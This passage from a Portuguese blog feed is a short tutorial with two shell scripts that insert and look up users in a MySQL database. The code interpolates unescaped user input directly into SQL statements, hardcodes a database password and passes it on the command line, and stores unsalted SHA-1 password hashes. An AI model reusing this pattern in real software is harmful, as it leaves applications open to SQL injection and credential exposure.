&lt;div style=&quot;text-align: justify;&quot;&gt;
#### funcoes.sh&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYC=&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;$(&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: purple;&quot;&gt;which&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;mysql&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -z&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYC&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &amp;amp;&amp;amp; ( &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot;mysql-client nao instalado&quot; ; exit )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;# defino um array de 4 posiçõese armazeno as configurações de acesso a base&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF[1]=&quot;USERDB&quot; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt; # usuario para conexão ao banco de dados&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF[2]=&quot;secret&quot; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;# senha para conexão com o banco de dados&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF[3]=&quot;localhost&quot; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;# host que o banco de dados está instalado&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF[4]=&quot;minerinux&quot; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;# base de dados&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYSQL=&quot; &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYC&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -h&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[3]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -u &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[1]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[2&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -D&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[4]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;# armazeno na variavem MYSQL a string de conexão com o banco de modo que possa executa-lo chamando apenas por ${MYSQL}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange; font-size: x-small;&quot;&gt;_INSERIR_USUARIO()&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: xx-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;&amp;nbsp; # funcao para inserir&amp;nbsp;usuário&amp;nbsp;na base, recebe dois&amp;nbsp;parâmetros&amp;nbsp;um o login o outro a senha do usuário que como pode ver é&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # gerado um hash com sha1sum &amp;nbsp;se&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;usuário&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;&amp;nbsp;e senha &lt;/span&gt;nao&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt; &lt;/span&gt;sao&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt; vazios os dados &lt;/span&gt;sao&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt; inseridos na base.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt; local&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; login&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; senha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; login=&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; senha=$(&lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -n &quot;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot; | &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;sha1sum&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; [ ! -z &quot;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;login&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot; ] &amp;amp;&amp;amp; [ ! -z &quot;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;senha&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot; ] &amp;amp;&amp;amp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYSQL&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #134f5c;&quot;&gt; -e &quot;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: blue;&quot;&gt;INSERT INTO usuarios ( UsuLogin, UsuPass ) value (&#39;${login}&#39;,&#39;${senha}&#39;)&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: #134f5c;&quot;&gt; &quot;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange; font-size: x-small;&quot;&gt;_BUSCAR_USUARIO()&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: xx-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt; # essa funcao apenas lista um&amp;nbsp;usuário&amp;nbsp;na base caso ele exista.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: xx-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; login&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; login=&quot;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ ! -z &quot;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;login&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot; ] &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYSQL&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -Ne &quot;&lt;/span&gt;&lt;span style=&quot;color: blue; font-size: x-small;&quot;&gt;&lt;i&gt;SELECT&amp;nbsp;UsuId, UsuLogin&amp;nbsp;FROM usuarios where UsuLogin = &#39;${login}&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&#39; &quot; || &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot;Login vazio&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
#### main.sh&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;#!/bin/sh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: orange; font-size: x-small;&quot;&gt;_USAGE()&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot; Modo de Usar&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot; -i &amp;lt;login&amp;gt; &amp;lt;senha&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; Inserir usuario na base&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot; -b &amp;lt;login&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Consulta por existencia de usuario na base&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;exit&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$#&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -eq 0 &amp;amp;&amp;amp; _USAGE&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;pwd&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;/funcoes.sh&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #444444; font-size: xx-small;&quot;&gt;# incorporo o arquivo de funcoes ao nosso main de modo a poder utilizar as funções do mesmo&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;case&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;in&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot;-i&quot;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$#&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -ne 3 ] &amp;amp;&amp;amp; _USAGE&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _INSERIR_USUARIO &quot;$2&quot; &quot;$3&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ $? -eq 0 ] &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; &quot; Sucesso ! &quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;;;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot;-b&quot;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;$#&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt; -ne 2 ] &amp;amp;&amp;amp; _USAGE&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; _BUSCAR_USUARIO &quot;$2&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;;;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple; font-size: x-small;&quot;&gt;esac&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4YWdApB7URxZ-SV8_ZzBff9ixVgszp_4z9oZxKbfDLF7YrNzfu3vJ21n7lFFSCWvDXFlDF2zoMoqazR7wc0j4WSw-losmN4xVJjx8ftSoL_kzbQNuLJkFJKnXDv4WLFSv-lWRea1A5Qg/s1600/file_snap_main.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;144&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4YWdApB7URxZ-SV8_ZzBff9ixVgszp_4z9oZxKbfDLF7YrNzfu3vJ21n7lFFSCWvDXFlDF2zoMoqazR7wc0j4WSw-losmN4xVJjx8ftSoL_kzbQNuLJkFJKnXDv4WLFSv-lWRea1A5Qg/s640/file_snap_main.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
bom, é isso ae, simples rápido e direto.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/8961162572980359812/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/10/shell-script-e-mysql.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/8961162572980359812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/8961162572980359812'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/10/shell-script-e-mysql.html' title='Shell Script e Mysql'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4YWdApB7URxZ-SV8_ZzBff9ixVgszp_4z9oZxKbfDLF7YrNzfu3vJ21n7lFFSCWvDXFlDF2zoMoqazR7wc0j4WSw-losmN4xVJjx8ftSoL_kzbQNuLJkFJKnXDv4WLFSv-lWRea1A5Qg/s72-c/file_snap_main.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-3655471726630743019</id><published>2012-06-21T17:23:00.003-03:00</published><updated>2012-06-21T23:07:31.590-03:00</updated><title type='text'>Criptografia [ Os antigos métodos hoje ] - I</title><content type='html'>&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
